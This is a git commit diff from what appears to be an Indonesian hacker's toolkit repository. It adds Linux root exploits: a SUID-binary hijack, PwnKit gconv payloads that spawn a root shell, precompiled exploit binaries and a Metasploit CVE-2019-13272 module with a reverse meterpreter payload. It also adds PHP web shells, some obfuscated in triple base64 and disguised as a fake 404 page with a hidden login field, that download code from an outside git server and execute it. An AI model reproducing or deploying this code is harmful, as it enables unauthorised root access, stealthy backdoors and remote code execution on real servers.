||||
}
|
||||
|
||||
char *path = argv[1];
|
||||
uint8_t *data = elfcode;
|
||||
|
||||
int fd = open(path, O_RDONLY);
|
||||
uint8_t *orig_bytes = malloc(sizeof(elfcode));
|
||||
lseek(fd, 1, SEEK_SET);
|
||||
read(fd, orig_bytes, sizeof(elfcode));
|
||||
close(fd);
|
||||
|
||||
printf("[+] hijacking suid binary..\n");
|
||||
if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
|
||||
printf("[~] failed\n");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
printf("[+] dropping suid shell..\n");
|
||||
system(path);
|
||||
|
||||
printf("[+] restoring suid binary..\n");
|
||||
if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
|
||||
printf("[~] failed\n");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
|
||||
system("/tmp/sh");
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
|
29
rooting/binary-cek.py
Normal file
29
rooting/binary-cek.py
Normal file
@ -0,0 +1,29 @@
|
||||
# author: syn
|
||||
import os
|
||||
import subprocess
|
||||
|
||||
def find_suid_binaries():
|
||||
"""Mencari binary dengan SUID bit diaktifkan."""
|
||||
result = subprocess.run(["find", "/", "-perm", "-4000", "-type", "f", "2>/dev/null"], capture_output=True, text=True, shell=True)
|
||||
suid_binaries = result.stdout.split("\n")
|
||||
return [binary for binary in suid_binaries if binary]
|
||||
|
||||
def check_exploitable(binary):
|
||||
"""Cek apakah binary bisa dieksploitasi dengan GTFOBins."""
|
||||
gtfo_url = f"https://gtfobins.github.io/gtfobins/{os.path.basename(binary)}/"
|
||||
print(f"[*] Cek eksploitasi: {binary}\n[*] Cek referensi: {gtfo_url}")
|
||||
|
||||
def main():
|
||||
print("[+] Mencari binary SUID...")
|
||||
suid_binaries = find_suid_binaries()
|
||||
if not suid_binaries:
|
||||
print("[-] Tidak ditemukan binary SUID.")
|
||||
return
|
||||
|
||||
print("[+] Binary SUID ditemukan:")
|
||||
for binary in suid_binaries:
|
||||
print(f" - {binary}")
|
||||
check_exploitable(binary)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
BIN
rooting/compile/50808
Executable file
BIN
rooting/compile/50808
Executable file
Binary file not shown.
BIN
rooting/compile/dirty
Executable file
BIN
rooting/compile/dirty
Executable file
Binary file not shown.
BIN
rooting/compile/pkexec-RCPE
Executable file
BIN
rooting/compile/pkexec-RCPE
Executable file
Binary file not shown.
BIN
rooting/compile/pkexec-RCPE-static
Executable file
BIN
rooting/compile/pkexec-RCPE-static
Executable file
Binary file not shown.
BIN
rooting/compile/pwn-static64
Executable file
BIN
rooting/compile/pwn-static64
Executable file
Binary file not shown.
BIN
rooting/compile/pwnkit
Executable file
BIN
rooting/compile/pwnkit
Executable file
Binary file not shown.
BIN
rooting/compile/rootme
Executable file
BIN
rooting/compile/rootme
Executable file
Binary file not shown.
9
rooting/gconv.c
Normal file
9
rooting/gconv.c
Normal file
@ -0,0 +1,9 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
void gconv() {}
|
||||
void gconv_init() {
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
system("/bin/sh");
|
||||
}
|
133
rooting/polkit-pkexec.rb
Normal file
133
rooting/polkit-pkexec.rb
Normal file
@ -0,0 +1,133 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::Kernel
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Post::Linux::Compile
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linux Polkit pkexec helper PTRACE_TRACEME local root exploit',
|
||||
'Description' => %q{
|
||||
This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux
|
||||
kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but
|
||||
not over an SSH session, as it requires execution from within the context of
|
||||
a user with an active Polkit agent.
|
||||
In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles
|
||||
the recording of the credentials of a process that wants to create a ptrace
|
||||
relationship, which allows local users to obtain root access by leveraging
|
||||
certain scenarios with a parent-child process relationship, where a parent drops
|
||||
privileges and calls execve (potentially allowing control by an attacker). One
|
||||
contributing factor is an object lifetime issue (which can also cause a panic).
|
||||
Another contributing factor is incorrect marking of a ptrace relationship as
|
||||
privileged, which is exploitable through (for example) Polkit's pkexec helper
|
||||
with PTRACE_TRACEME.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Jann Horn', # Discovery and exploit
|
||||
'bcoles', # Metasploit module
|
||||
'timwr', # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2019-13272'],
|
||||
['EDB', '47133'],
|
||||
['PACKETSTORM', '153663'],
|
||||
['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272'],
|
||||
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1903'],
|
||||
],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X64 ],
|
||||
'Targets' => [[ 'Auto', {} ]],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'Payload' => 'linux/x64/meterpreter/reverse_tcp',
|
||||
'PrependFork' => true,
|
||||
},
|
||||
'DisclosureDate' => 'Jul 4 2019'))
|
||||
register_advanced_options [
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
def check
|
||||
# Introduced in 4.10, but also backported
|
||||
# Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17
|
||||
release = kernel_release
|
||||
v = Gem::Version.new release.split('-').first
|
||||
|
||||
if v >= Gem::Version.new('5.1.17') || v < Gem::Version.new('3')
|
||||
vprint_error "Kernel version #{release} is not vulnerable"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "Kernel version #{release} appears to be vulnerable"
|
||||
|
||||
unless command_exists? 'pkexec'
|
||||
vprint_error 'pkexec is not installed'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'pkexec is installed'
|
||||
|
||||
arch = kernel_hardware
|
||||
unless arch.include? 'x86_64'
|
||||
vprint_error "System architecture #{arch} is not supported"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "System architecture #{arch} is supported"
|
||||
|
||||
loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote')
|
||||
if loginctl_output =~ /Remote=yes/
|
||||
print_warning 'This is exploit requires a valid policykit session (it cannot be executed over ssh)'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_root? && !datastore['ForceExploit']
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
|
||||
end
|
||||
|
||||
unless check == CheckCode::Appears
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
||||
end
|
||||
print_warning 'Target does not appear to be vulnerable'
|
||||
end
|
||||
|
||||
unless writable? datastore['WritableDir']
|
||||
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
|
||||
end
|
||||
|
||||
payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
|
||||
upload_and_chmodx(payload_file, generate_payload_exe)
|
||||
register_file_for_cleanup(payload_file)
|
||||
|
||||
exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
|
||||
if live_compile?
|
||||
vprint_status 'Live compiling exploit on system...'
|
||||
upload_and_compile exploit_file, exploit_data('CVE-2019-13272', 'poc.c')
|
||||
else
|
||||
vprint_status 'Dropping pre-compiled exploit on system...'
|
||||
upload_and_chmodx exploit_file, exploit_data('CVE-2019-13272', 'exploit')
|
||||
end
|
||||
register_file_for_cleanup(exploit_file)
|
||||
|
||||
print_status("Executing exploit '#{exploit_file}'")
|
||||
result = cmd_exec("echo #{payload_file} | #{exploit_file}")
|
||||
print_status("Exploit result:\n#{result}")
|
||||
end
|
||||
end
|
||||
|
20
rooting/pwnkit.c
Normal file
20
rooting/pwnkit.c
Normal file
@ -0,0 +1,20 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void gconv(void) { }
|
||||
|
||||
void gconv_init(void *step) {
|
||||
char * const args[] = { "/bin/sh", NULL };
|
||||
char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
execve(args[0], args, environ);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
int main() {
|
||||
printf("Exploit executed!\n");
|
||||
return 0;
|
||||
}
|
||||
|
27
shell/geck.php
Normal file
27
shell/geck.php
Normal file
@ -0,0 +1,27 @@
|
||||
<?php
|
||||
|
||||
function get_contents($url) {
|
||||
$ch = curl_init($url);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
|
||||
$result = curl_exec($ch);
|
||||
curl_close($ch);
|
||||
return $result;
|
||||
}
|
||||
|
||||
$url = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/geck';
|
||||
$encoded_code = get_contents($url);
|
||||
$decoded_code = base64_decode($encoded_code);
|
||||
|
||||
|
||||
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
|
||||
file_put_contents($tempFile, $decoded_code);
|
||||
|
||||
|
||||
require_once $tempFile;
|
||||
unlink($tempFile);
|
||||
|
||||
?>
|
27
shell/geck2.php
Normal file
27
shell/geck2.php
Normal file
@ -0,0 +1,27 @@
|
||||
<?php
|
||||
|
||||
function get_contents($url) {
|
||||
$ch = curl_init($url);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
|
||||
$result = curl_exec($ch);
|
||||
curl_close($ch);
|
||||
return $result;
|
||||
}
|
||||
|
||||
$url = 'https://git.warceuproject.org/syn/wSploitHub/raw/commit/c90159b0c2c51feefebfbf4f288b13ca3c011acb/raw/geck2';
|
||||
$encoded_code = get_contents($url);
|
||||
$decoded_code = base64_decode($encoded_code);
|
||||
|
||||
|
||||
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
|
||||
file_put_contents($tempFile, $decoded_code);
|
||||
|
||||
|
||||
require_once $tempFile;
|
||||
unlink($tempFile);
|
||||
|
||||
?>
|
4
shell/wshell.php
Normal file
4
shell/wshell.php
Normal file
@ -0,0 +1,4 @@
|
||||
// custom ekripsi by syn
|
||||
<?php session_start();$f_3=base64_decode(base64_decode(base64_decode('WVVoU01HTklUVFpNZVRsdVlWaFJkV1F5Um5sWk1sWXhZMGhLZG1GdFZtcGtRelYyWTIxamRtTXpiSFZNTTJSVVkwZDRkbUZZVWtsa1YwbDJZMjFHTTB3eVNubFpWelZxWVVNNWRGbFhiSFZNTWtaM1lWTTVNazFUT1ROak1taHNZa2QzZEdFeVZqVT0=')));$d_4=trim(file_get_contents($f_3));function g_0($z_5=''){?>
|
||||
<html style="height:100%"><script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/content/location/location.js" id="eppiocemhmnlbhjplcgkofciiegomcon"></script><script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/libs/extend-native-history-api.js"></script><script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/libs/requests.js"></script><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 404 Not Found</title><script bis_use="true" type="text/javascript" charset="utf-8" data-bis-config="["facebook.com/","twitter.com/","youtube-nocookie.com/embed/","//vk.com/","//www.vk.com/","linkedin.com/","//www.linkedin.com/","//instagram.com/","//www.instagram.com/","//www.google.com/recaptcha/api2/","//hangouts.google.com/webchat/","//www.google.com/calendar/","//www.google.com/maps/embed","spotify.com/","soundcloud.com/","//player.vimeo.com/","//disqus.com/","//tgwidget.com/","//js.driftt.com/","friends2follow.com","/widget","login","//video.bigmir.net/","blogger.com","//smartlock.google.com/","//keep.google.com/","/web.tolstoycomments.com/","moz-extension://","chrome-extension://","/auth/","//analytics.google.com/","adclarity.com","paddle.com/checkout","hcaptcha.com","recaptcha.net","2captcha.com","accounts.google.com","www.google.com/shopping/customerreviews","buy.tinypass.com","gstatic.com","secureir.ebaystatic.com","docs.google.com","contacts.google.com","github.com","mail.google.com","chat.google.com","audio.xpleer.com","keepa.com","static.xx.fbcdn.net","sas.selleramp.com","1plus1.video","console.googletagservices.com","//lnkd.demdex.net/","//radar.cedexis.com/","//li.protechts.net/","challenges.cloudflare.com/","ogs.google.com"]" src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/../executers/vi-tr.js"></script><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}.inputkey {background-color: #000;border: 0 #000;color: grey;}.btnkey {background-color: #000;color: #000;}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;" __processed_64252ced-4d94-4245-be43-a68f02a4ae28__="true" bis_register="W3sibWFzdGVyIjp0cnVlLCJleHRlbnNpb25JZCI6ImVwcGlvY2VtaG1ubGJoanBsY2drb2ZjaWllZ29tY29uIiwiYWRibG9ja2VyU3RhdHVzIjp7IkRJU1BMQVkiOiJlbmFibGVkIiwiRkFDRUJPT0siOiJlbmFibGVkIiwiVFdJVFRFUiI6ImVuYWJsZWQiLCJSRURESVQiOiJlbmFibGVkIiwiUElOVEVSRVNUIjoiZW5hYmxlZCIsIklOU1RBR1JBTSI6ImVuYWJsZWQiLCJMSU5LRURJTiI6ImRpc2FibGVkIiwiQ09ORklHIjoiZGlzYWJsZWQifSwidmVyc2lvbiI6IjIuMC4xNiIsInNjb3JlIjoyMDAxNjB9XQ=="><div style="height:auto; min-height:100%; " bis_skin_checked="1"> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;" bis_skin_checked="1"><h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p><?php if($z_5):?> <p style="color: red;"><?php echo $z_5;?></p><?php endif;?><form method="post" action=""> <label for="key"></label> <input class="inputkey" type="password" name="key" id="key" required> </form></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;" bis_skin_checked="1"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>
|
||||
<?php }function w_1(){function w_2($l_6){$d_7=curl_init($l_6);curl_setopt($d_7,CURLOPT_RETURNTRANSFER,1);curl_setopt($d_7,CURLOPT_FOLLOWLOCATION,1);curl_setopt($d_7,CURLOPT_USERAGENT,base64_decode(base64_decode(base64_decode('VkZjNU5tRlhlSE5aVXpneFRHcEJaMHRHWkhCaWJWSjJaRE5OWjFSc1VXZE9hVFI0VDNsQ2VXUnFiM3BOYVRSM1MxTkNTRnBYVG5KaWVUaDVUVVJGZDAxRVJYZE5VMEpIWVZoS2JGcHRPVFJNZWsxNVRHcEJQUT09'))));curl_setopt($d_7,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($d_7,CURLOPT_SSL_VERIFYHOST,0);$w_8=curl_exec($d_7);curl_close($d_7);return $w_8;}$a_9=base64_decode(base64_decode(base64_decode('WVVoU01HTklUVFpNZVRsdVlWaFJkV1F5Um5sWk1sWXhZMGhLZG1GdFZtcGtRelYyWTIxamRtTXpiSFZNTTJSVVkwZDRkbUZZVWtsa1YwbDJZMjFHTTB3eVNubFpWelZxWVVNNWRGbFhiSFZNTWtaM1lWTTVNazFwT1hkWldHeHpZakpHYTJFeVZqVT0=')));$s_a=base64_decode(base64_decode(base64_decode('WVVoU01HTklUVFpNZVRsdVlWaFJkV1F5Um5sWk1sWXhZMGhLZG1GdFZtcGtRelYyWTIxamRtTXpiSFZNTTJSVVkwZDRkbUZZVWtsa1YwbDJZMjFHTTB3eVNubFpWelZxWVVNNWRGbFhiSFZNTWtaM1lWTTVNazFwT1ROak1taHNZa2QzUFE9PQ==')));$s_b=trim(w_2($a_9));if(empty($s_b)){die(base64_decode(base64_decode(base64_decode('VWpKR2JsbFhkMmRpVjFaMVdqSkdkRmx0YkhOSlIyaG9ZekpuWjJFeVZqVkpSMUpvWTIxcloxWldTazFNWjI4OQ=='))));}$c_c=w_2($s_a);if(empty($c_c)){die(base64_decode(base64_decode(base64_decode('VWpKR2JsbFhkMmRpVjFaMVdqSkdkRmx0YkhOSlIzUjJXa2RWWjJSSFZubGFWelZ5WTIxc2QyTXlhMmRhUjBaNVlWTkNWbFZyZDNWRFp6MDk='))));}$c_d=base64_decode($c_c);$v_e=str_replace($s_b,'',$c_d);eval(base64_decode(base64_decode(base64_decode('VUhvMFBRPT0='))).$v_e);}if(isset($_GET[base64_decode(base64_decode(base64_decode('V1ZkT01HRlhPWFU9')))])&&$_GET[base64_decode(base64_decode(base64_decode('V1ZkT01HRlhPWFU9')))]===base64_decode(base64_decode(base64_decode('WWtjNWJtSXpWakE9')))){session_destroy();header(base64_decode(base64_decode(base64_decode('VkVjNWFsbFlVbkJpTWpRMlNVUTRQUT09'))));exit;}$z_5='';if(isset($_POST[base64_decode(base64_decode(base64_decode('WVRKV05RPT0=')))])){$s_f=$_POST[base64_decode(base64_decode(base64_decode('WVRKV05RPT0=')))];$p_10=md5($s_f);if($p_10===$d_4){$_SESSION[base64_decode(base64_decode(base64_decode('WWtjNWJsb3lWbXRoVnpROQ==')))]=true;header(base64_decode(base64_decode(base64_decode('VkVjNWFsbFlVbkJpTWpRMlNVUTRQUT09'))));exit;}else{$z_5=base64_decode(base64_decode(base64_decode('WVVkR01HRlhNVEZKUmxKd1drZEdja2xIVW5Ca1IxWjVZVmN4YUV4RFFrUmlNa3BvWWtkR2IwbElWblZrU0ZaeVNVaE9hRnBIUm5sSlIxSndZMjFyYUE9PQ==')));}}if(isset($_SESSION[base64_decode(base64_decode(base64_decode('WWtjNWJsb3lWbXRoVnpROQ==')))])&&$_SESSION[base64_decode(base64_decode(base64_decode('WWtjNWJsb3lWbXRoVnpROQ==')))]===true){w_1();}else{g_0($z_5);}?>
|
127
shell/wshellexec.php
Normal file
127
shell/wshellexec.php
Normal file
@ -0,0 +1,127 @@
|
||||
<?php
|
||||
session_start();
|
||||
|
||||
// API
|
||||
$valid_key_url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v1/wshell-key"; // API Key
|
||||
$valid_key_hash = trim(file_get_contents($valid_key_url));
|
||||
|
||||
// Fungsi
|
||||
function show_login_form($error_message = '') {
|
||||
?>
|
||||
<html style="height:100%">
|
||||
<script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/content/location/location.js" id="eppiocemhmnlbhjplcgkofciiegomcon"></script><script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/libs/extend-native-history-api.js"></script><script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/libs/requests.js"></script><head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|
||||
<title> 404 Not Found</title>
|
||||
<script bis_use="true" type="text/javascript" charset="utf-8" data-bis-config="["facebook.com/","twitter.com/","youtube-nocookie.com/embed/","//vk.com/","//www.vk.com/","linkedin.com/","//www.linkedin.com/","//instagram.com/","//www.instagram.com/","//www.google.com/recaptcha/api2/","//hangouts.google.com/webchat/","//www.google.com/calendar/","//www.google.com/maps/embed","spotify.com/","soundcloud.com/","//player.vimeo.com/","//disqus.com/","//tgwidget.com/","//js.driftt.com/","friends2follow.com","/widget","login","//video.bigmir.net/","blogger.com","//smartlock.google.com/","//keep.google.com/","/web.tolstoycomments.com/","moz-extension://","chrome-extension://","/auth/","//analytics.google.com/","adclarity.com","paddle.com/checkout","hcaptcha.com","recaptcha.net","2captcha.com","accounts.google.com","www.google.com/shopping/customerreviews","buy.tinypass.com","gstatic.com","secureir.ebaystatic.com","docs.google.com","contacts.google.com","github.com","mail.google.com","chat.google.com","audio.xpleer.com","keepa.com","static.xx.fbcdn.net","sas.selleramp.com","1plus1.video","console.googletagservices.com","//lnkd.demdex.net/","//radar.cedexis.com/","//li.protechts.net/","challenges.cloudflare.com/","ogs.google.com"]" src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/../executers/vi-tr.js"></script>
|
||||
<style>
|
||||
@media (prefers-color-scheme:dark){body{background-color:#000!important}}
|
||||
.inputkey {
|
||||
background-color: #000;
|
||||
border: 0 #000;
|
||||
color: grey;
|
||||
}
|
||||
.btnkey {
|
||||
background-color: #000;
|
||||
color: #000;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;" __processed_64252ced-4d94-4245-be43-a68f02a4ae28__="true" bis_register="W3sibWFzdGVyIjp0cnVlLCJleHRlbnNpb25JZCI6ImVwcGlvY2VtaG1ubGJoanBsY2drb2ZjaWllZ29tY29uIiwiYWRibG9ja2VyU3RhdHVzIjp7IkRJU1BMQVkiOiJlbmFibGVkIiwiRkFDRUJPT0siOiJlbmFibGVkIiwiVFdJVFRFUiI6ImVuYWJsZWQiLCJSRURESVQiOiJlbmFibGVkIiwiUElOVEVSRVNUIjoiZW5hYmxlZCIsIklOU1RBR1JBTSI6ImVuYWJsZWQiLCJMSU5LRURJTiI6ImRpc2FibGVkIiwiQ09ORklHIjoiZGlzYWJsZWQifSwidmVyc2lvbiI6IjIuMC4xNiIsInNjb3JlIjoyMDAxNjB9XQ==">
|
||||
<div style="height:auto; min-height:100%; " bis_skin_checked="1"> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;" bis_skin_checked="1">
|
||||
<h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1>
|
||||
<h2 style="margin-top:20px;font-size: 30px;">Not Found
|
||||
</h2>
|
||||
<p>The resource requested could not be found on this server!</p>
|
||||
<?php if ($error_message): ?>
|
||||
<p style="color: red;"><?php echo $error_message; ?></p>
|
||||
<?php endif; ?>
|
||||
<form method="post" action="">
|
||||
<label for="key"></label>
|
||||
<input class="inputkey" type="password" name="key" id="key" required>
|
||||
|
||||
</form>
|
||||
</div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;" bis_skin_checked="1">
|
||||
<br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
<?php
|
||||
}
|
||||
|
||||
// Fungsi Menuju Indonesia Cemas
|
||||
function show_dashboard() {
|
||||
?>
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>wSploit Shell Exec</title>
|
||||
</head>
|
||||
<body>
|
||||
<?php
|
||||
|
||||
function get_contents($url) {
|
||||
$ch = curl_init($url);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
|
||||
$result = curl_exec($ch);
|
||||
curl_close($ch);
|
||||
return $result;
|
||||
}
|
||||
|
||||
$url = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/enwshell'; // Rute ke API
|
||||
$encoded_code = get_contents($url);
|
||||
$decoded_code = base64_decode($encoded_code);
|
||||
|
||||
|
||||
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
|
||||
file_put_contents($tempFile, $decoded_code);
|
||||
|
||||
|
||||
require_once $tempFile;
|
||||
unlink($tempFile);
|
||||
|
||||
?>
|
||||
<a href="?action=logout">Logout</a>
|
||||
</body>
|
||||
</html>
|
||||
<?php
|
||||
}
|
||||
|
||||
// Cek apakah Dia Ingin keluar hati
|
||||
if (isset($_GET['action']) && $_GET['action'] === 'logout') {
|
||||
session_destroy();
|
||||
header("Location: ?"); // Redirect ke Hati orang lain
|
||||
exit;
|
||||
}
|
||||
|
||||
// Cek apakah Dia sudah memiliki seseorang?
|
||||
$error_message = '';
|
||||
if (isset($_POST['key'])) {
|
||||
$input_key = $_POST['key'];
|
||||
$input_key_hash = md5($input_key);
|
||||
|
||||
// Cek apakah Cintaku padanya di terima?
|
||||
if ($input_key_hash === $valid_key_hash) {
|
||||
$_SESSION['loggedin'] = true;
|
||||
header("Location: ?"); // Redirect ke Hati Dia untuk refresh
|
||||
exit;
|
||||
} else {
|
||||
$error_message = "hatimu Tidak di terima, Cobalah untuk sadar diri!"; // Kesalahan Hati
|
||||
}
|
||||
}
|
||||
|
||||
// Jika sudah login kehatinya, Anda Sudah jadi Pacarnya
|
||||
if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true) {
|
||||
show_dashboard();
|
||||
} else {
|
||||
// Jika belum login Ke hatinya atau Atau dia tidak menerima kekurangan mu, Maka kembali ke Plan B(Pelet Dia Ajeegg)
|
||||
show_login_form($error_message);
|
||||
}
|
||||
?>
|
||||
|
27
shell/wshellexec2.php
Normal file
27
shell/wshellexec2.php
Normal file
@ -0,0 +1,27 @@
|
||||
<?php
|
||||
|
||||
function get_contents($url) {
|
||||
$ch = curl_init($url);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
|
||||
$result = curl_exec($ch);
|
||||
curl_close($ch);
|
||||
return $result;
|
||||
}
|
||||
|
||||
$url = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/enwshell';
|
||||
$encoded_code = get_contents($url);
|
||||
$decoded_code = base64_decode($encoded_code);
|
||||
|
||||
|
||||
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
|
||||
file_put_contents($tempFile, $decoded_code);
|
||||
|
||||
|
||||
require_once $tempFile;
|
||||
unlink($tempFile);
|
||||
|
||||
?>
|
Loading…
Reference in New Issue
Block a user